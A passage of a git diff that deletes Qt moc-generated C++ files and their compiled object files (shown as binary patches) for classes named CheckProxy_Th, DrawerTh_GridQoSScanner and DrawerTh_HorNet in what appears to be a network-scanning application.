{ - typedef void (CheckProxy_Th::*_t)(QString ); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&CheckProxy_Th::changeRedIRCData)) { - *result = 0; - } - } - { - typedef void (CheckProxy_Th::*_t)(QString ); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&CheckProxy_Th::changeGreenIRCData)) { - *result = 1; - } - } - { - typedef void (CheckProxy_Th::*_t)(QString ); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&CheckProxy_Th::changeYellowIRCData)) { - *result = 2; - } - } - { - typedef void (CheckProxy_Th::*_t)(QString ); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&CheckProxy_Th::changeRawIRCDataInc)) { - *result = 3; - } - } - { - typedef void (CheckProxy_Th::*_t)(QString ); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&CheckProxy_Th::changeRawIRCDataOut)) { - *result = 4; - } - } - } -} - -const QMetaObject CheckProxy_Th::staticMetaObject = { - { &QThread::staticMetaObject, qt_meta_stringdata_CheckProxy_Th.data, - qt_meta_data_CheckProxy_Th, qt_static_metacall, 0, 0} -}; - - -const QMetaObject *CheckProxy_Th::metaObject() const -{ - return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; -} - -void *CheckProxy_Th::qt_metacast(const char *_clname) -{ - if (!_clname) return 0; - if (!strcmp(_clname, qt_meta_stringdata_CheckProxy_Th.stringdata)) - return static_cast<void*>(const_cast< CheckProxy_Th*>(this)); - return QThread::qt_metacast(_clname); -} - -int CheckProxy_Th::qt_metacall(QMetaObject::Call _c, int _id, void **_a) -{ - _id = QThread::qt_metacall(_c, _id, _a); - if (_id < 0) - return _id; - if (_c == QMetaObject::InvokeMetaMethod) { - if (_id < 5) - qt_static_metacall(this, _c, _id, _a); - _id -= 5; - } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { - if (_id < 5) - *reinterpret_cast<int*>(_a[0]) = -1; - _id -= 5; - } - return _id; -} - -// SIGNAL 0 -void CheckProxy_Th::changeRedIRCData(QString _t1) -{ - void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; - QMetaObject::activate(this, &staticMetaObject, 0, _a); -} - -// SIGNAL 1 -void CheckProxy_Th::changeGreenIRCData(QString _t1) -{ - void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; - QMetaObject::activate(this, &staticMetaObject, 1, _a); -} - -// SIGNAL 2 -void CheckProxy_Th::changeYellowIRCData(QString _t1) -{ - void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; - QMetaObject::activate(this, &staticMetaObject, 2, _a); -} - -// SIGNAL 3 -void CheckProxy_Th::changeRawIRCDataInc(QString _t1) -{ - void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; - QMetaObject::activate(this, &staticMetaObject, 3, _a); -} - -// SIGNAL 4 -void CheckProxy_Th::changeRawIRCDataOut(QString _t1) -{ - void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; - QMetaObject::activate(this, &staticMetaObject, 4, _a); -} -QT_END_MOC_NAMESPACE diff --git a/moc_CheckProxy_Th.o b/moc_CheckProxy_Th.o deleted file mode 100644 index 3f2cde88baaa7a08280e0df1cf807bedd1ffce77..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 12352 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 V)%Ep&g2PUb8zJ`(*+269<-eeV<`w_| diff --git a/moc_DrawerTh_GridQoSScanner.cpp b/moc_DrawerTh_GridQoSScanner.cpp deleted file mode 100644 index 95df19e..0000000 --- a/moc_DrawerTh_GridQoSScanner.cpp +++ /dev/null @@ -1,124 +0,0 @@ -/**************************************************************************** -** Meta object code from reading C++ file 'DrawerTh_GridQoSScanner.h' -** -** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) -** -** WARNING! All changes made in this file will be lost! -*****************************************************************************/ - -#include "DrawerTh_GridQoSScanner.h" -#include <QtCore/qbytearray.h> -#include <QtCore/qmetatype.h> -#if !defined(Q_MOC_OUTPUT_REVISION) -#error "The header file 'DrawerTh_GridQoSScanner.h' doesn't include <QObject>." -#elif Q_MOC_OUTPUT_REVISION != 67 -#error "This file was generated using the moc from 5.3.2. It" -#error "cannot be used with the include files from this version of Qt." -#error "(The moc has changed too much.)" -#endif - -QT_BEGIN_MOC_NAMESPACE -struct qt_meta_stringdata_DrawerTh_GridQoSScanner_t { - QByteArrayData data[3]; - char stringdata[34]; -}; -#define QT_MOC_LITERAL(idx, ofs, len) \ - Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ - qptrdiff(offsetof(qt_meta_stringdata_DrawerTh_GridQoSScanner_t, stringdata) + ofs \ - - idx * sizeof(QByteArrayData)) \ - ) -static const qt_meta_stringdata_DrawerTh_GridQoSScanner_t qt_meta_stringdata_DrawerTh_GridQoSScanner = { - { -QT_MOC_LITERAL(0, 0, 23), -QT_MOC_LITERAL(1, 24, 8), -QT_MOC_LITERAL(2, 33, 0) - }, - "DrawerTh_GridQoSScanner\0sAddLine\0" -}; -#undef QT_MOC_LITERAL - -static const uint qt_meta_data_DrawerTh_GridQoSScanner[] = { - - // content: - 7, // revision - 0, // classname - 0, 0, // classinfo - 1, 14, // methods - 0, 0, // properties - 0, 0, // enums/sets - 0, 0, // constructors - 0, // flags - 1, // signalCount - - // signals: name, argc, parameters, tag, flags - 1, 0, 19, 2, 0x06 /* Public */, - - // signals: parameters - QMetaType::Void, - - 0 // eod -}; - -void DrawerTh_GridQoSScanner::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) -{ - if (_c == QMetaObject::InvokeMetaMethod) { - DrawerTh_GridQoSScanner *_t = static_cast<DrawerTh_GridQoSScanner *>(_o); - switch (_id) { - case 0: _t->sAddLine(); break; - default: ; - } - } else if (_c == QMetaObject::IndexOfMethod) { - int *result = reinterpret_cast<int *>(_a[0]); - void **func = reinterpret_cast<void **>(_a[1]); - { - typedef void (DrawerTh_GridQoSScanner::*_t)(); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&DrawerTh_GridQoSScanner::sAddLine)) { - *result = 0; - } - } - } - Q_UNUSED(_a); -} - -const QMetaObject DrawerTh_GridQoSScanner::staticMetaObject = { - { &QThread::staticMetaObject, qt_meta_stringdata_DrawerTh_GridQoSScanner.data, - qt_meta_data_DrawerTh_GridQoSScanner, qt_static_metacall, 0, 0} -}; - - -const QMetaObject *DrawerTh_GridQoSScanner::metaObject() const -{ - return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; -} - -void *DrawerTh_GridQoSScanner::qt_metacast(const char *_clname) -{ - if (!_clname) return 0; - if (!strcmp(_clname, qt_meta_stringdata_DrawerTh_GridQoSScanner.stringdata)) - return static_cast<void*>(const_cast< DrawerTh_GridQoSScanner*>(this)); - return QThread::qt_metacast(_clname); -} - -int DrawerTh_GridQoSScanner::qt_metacall(QMetaObject::Call _c, int _id, void **_a) -{ - _id = QThread::qt_metacall(_c, _id, _a); - if (_id < 0) - return _id; - if (_c == QMetaObject::InvokeMetaMethod) { - if (_id < 1) - qt_static_metacall(this, _c, _id, _a); - _id -= 1; - } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { - if (_id < 1) - *reinterpret_cast<int*>(_a[0]) = -1; - _id -= 1; - } - return _id; -} - -// SIGNAL 0 -void DrawerTh_GridQoSScanner::sAddLine() -{ - QMetaObject::activate(this, &staticMetaObject, 0, 0); -} -QT_END_MOC_NAMESPACE diff --git a/moc_DrawerTh_GridQoSScanner.o b/moc_DrawerTh_GridQoSScanner.o deleted file mode 100644 index 1ecaad346386bfcd8ee13a41d706bf0ad742d3b8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 8072 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 diff --git a/moc_DrawerTh_HorNet.cpp b/moc_DrawerTh_HorNet.cpp deleted file mode 100644 index 5bad0e0..0000000 --- a/moc_DrawerTh_HorNet.cpp +++ /dev/null @@ -1,157 +0,0 @@ -/**************************************************************************** -** Meta object code from reading C++ file 'DrawerTh_HorNet.h' -** -** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) -** -** WARNING! All changes made in this file will be lost! -*****************************************************************************/ - -#include "DrawerTh_HorNet.h" -#include <QtCore/qbytearray.h> -#include <QtCore/qmetatype.h> -#if !defined(Q_MOC_OUTPUT_REVISION) -#error "The header file 'DrawerTh_HorNet.h' doesn't include <QObject>." -#elif Q_MOC_OUTPUT_REVISION != 67 -#error "This file was generated using the moc from 5.3.2. It" -#error "cannot be used with the include files from this version of Qt." -#error "(The moc has changed too much.)" -#endif - -QT_BEGIN_MOC_NAMESPACE -struct qt_meta_stringdata_DrawerTh_HorNet_t { - QByteArrayData data[5]; - char stringdata[51]; -}; -#define QT_MOC_LITERAL(idx, ofs, len) \ - Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ - qptrdiff(offsetof(qt_meta_stringdata_DrawerTh_HorNet_t, stringdata) + ofs \ - - idx * sizeof(QByteArrayData)) \ - ) -static const qt_meta_stringdata_DrawerTh_HorNet_t qt_meta_stringdata_DrawerTh_HorNet = { - { -QT_MOC_LITERAL(0, 0, 15), -QT_MOC_LITERAL(1, 16, 14), -QT_MOC_LITERAL(2, 31, 0), -QT_MOC_LITERAL(3, 32, 8), -QT_MOC_LITERAL(4, 41, 9) - }, - "DrawerTh_HorNet\0sAddDelimLines\0\0" - "sAddLine\0sDrawGrid" -}; -#undef QT_MOC_LITERAL - -static const uint qt_meta_data_DrawerTh_HorNet[] = { - - // content: - 7, // revision - 0, // classname - 0, 0, // classinfo - 3, 14, // methods - 0, 0, // properties - 0, 0, // enums/sets - 0, 0, // constructors - 0, // flags - 3, // signalCount - - // signals: name, argc, parameters, tag, flags - 1, 0, 29, 2, 0x06 /* Public */, - 3, 4, 30, 2, 0x06 /* Public */, - 4, 0, 39, 2, 0x06 /* Public */, - - // signals: parameters - QMetaType::Void, - QMetaType::Void, QMetaType::Int, QMetaType::Int, QMetaType::Int, QMetaType::Int, 2, 2, 2, 2, - QMetaType::Void, - - 0 // eod -}; - -void DrawerTh_HorNet::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) -{ - if (_c == QMetaObject::InvokeMetaMethod) { - DrawerTh_HorNet *_t = static_cast<DrawerTh_HorNet *>(_o); - switch (_id) { - case 0: _t->sAddDelimLines(); break; - case 1: _t->sAddLine((*reinterpret_cast< int(*)>(_a[1])),(*reinterpret_cast< int(*)>(_a[2])),(*reinterpret_cast< int(*)>(_a[3])),(*reinterpret_cast< int(*)>(_a[4]))); break; - case 2: _t->sDrawGrid(); break; - default: ; - } - } else if (_c == QMetaObject::IndexOfMethod) { - int *result = reinterpret_cast<int *>(_a[0]); - void **func = reinterpret_cast<void **>(_a[1]); - { - typedef void (DrawerTh_HorNet::*_t)(); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&DrawerTh_HorNet::sAddDelimLines)) { - *result = 0; - } - } - { - typedef void (DrawerTh_HorNet::*_t)(int , int , int , int ); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&DrawerTh_HorNet::sAddLine)) { - *result = 1; - } - } - { - typedef void (DrawerTh_HorNet::*_t)(); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&DrawerTh_HorNet::sDrawGrid)) { - *result = 2; - } - } - } -} - -const QMetaObject DrawerTh_HorNet::staticMetaObject = { - { &QThread::staticMetaObject, qt_meta_stringdata_DrawerTh_HorNet.data, - qt_meta_data_DrawerTh_HorNet, qt_static_metacall, 0, 0} -}; - - -const QMetaObject *DrawerTh_HorNet::metaObject() const -{ - return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; -} - -void *DrawerTh_HorNet::qt_metacast(const char *_clname) -{ - if (!_clname) return 0; - if (!strcmp(_clname, qt_meta_stringdata_DrawerTh_HorNet.stringdata)) - return static_cast<void*>(const_cast< DrawerTh_HorNet*>(this)); - return QThread::qt_metacast(_clname); -} - -int DrawerTh_HorNet::qt_metacall(QMetaObject::Call _c, int _id, void **_a) -{ - _id = QThread::qt_metacall(_c, _id, _a); - if (_id < 0) - return _id; - if (_c == QMetaObject::InvokeMetaMethod) { - if (_id < 3) - qt_static_metacall(this, _c, _id, _a); - _id -= 3; - } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { - if (_id < 3) - *reinterpret_cast<int*>(_a[0]) = -1; - _id -= 3; - } - return _id; -} - -// SIGNAL 0 -void DrawerTh_HorNet::sAddDelimLines() -{ - QMetaObject::activate(this, &staticMetaObject, 0, 0); -} - -// SIGNAL 1 -void DrawerTh_HorNet::sAddLine(int _t1, int _t2, int _t3, int _t4) -{ - void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)), const_cast<void*>(reinterpret_cast<const void*>(&_t2)), const_cast<void*>(reinterpret_cast<const void*>(&_t3)), const_cast<void*>(reinterpret_cast<const void*>(&_t4)) }; - QMetaObject::activate(this, &staticMetaObject, 1, _a); -} - -// SIGNAL 2 -void DrawerTh_HorNet::sDrawGrid() -{ - QMetaObject::activate(this, &staticMetaObject, 2, 0); -} -QT_END_MOC_NAMESPACE diff --git a/moc_DrawerTh_HorNet.o b/moc_DrawerTh_HorNet.o deleted file mode 100644 index 9ba44948479c36889b1a10ab9c281485ecf42400..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 8768 zcmd^EU2GKB6&~*z*bsNUKwG&@3ggsip$Xd^+kl}hvGJ}M%Em0%M3kQn%kCO)WA8e< zW7kG%sIoZfYD49=s;WLz<sp6P6Ayhz@={tNK_n_6UXzwSv?_>Hg+@gvfAoBJ?%BDX zoq@FKTaPq*&;8EtJ#**I+`Fe!>5))do5s|p?bO^Jqnfr9arr^P4r<-ndZD|T`mpJc 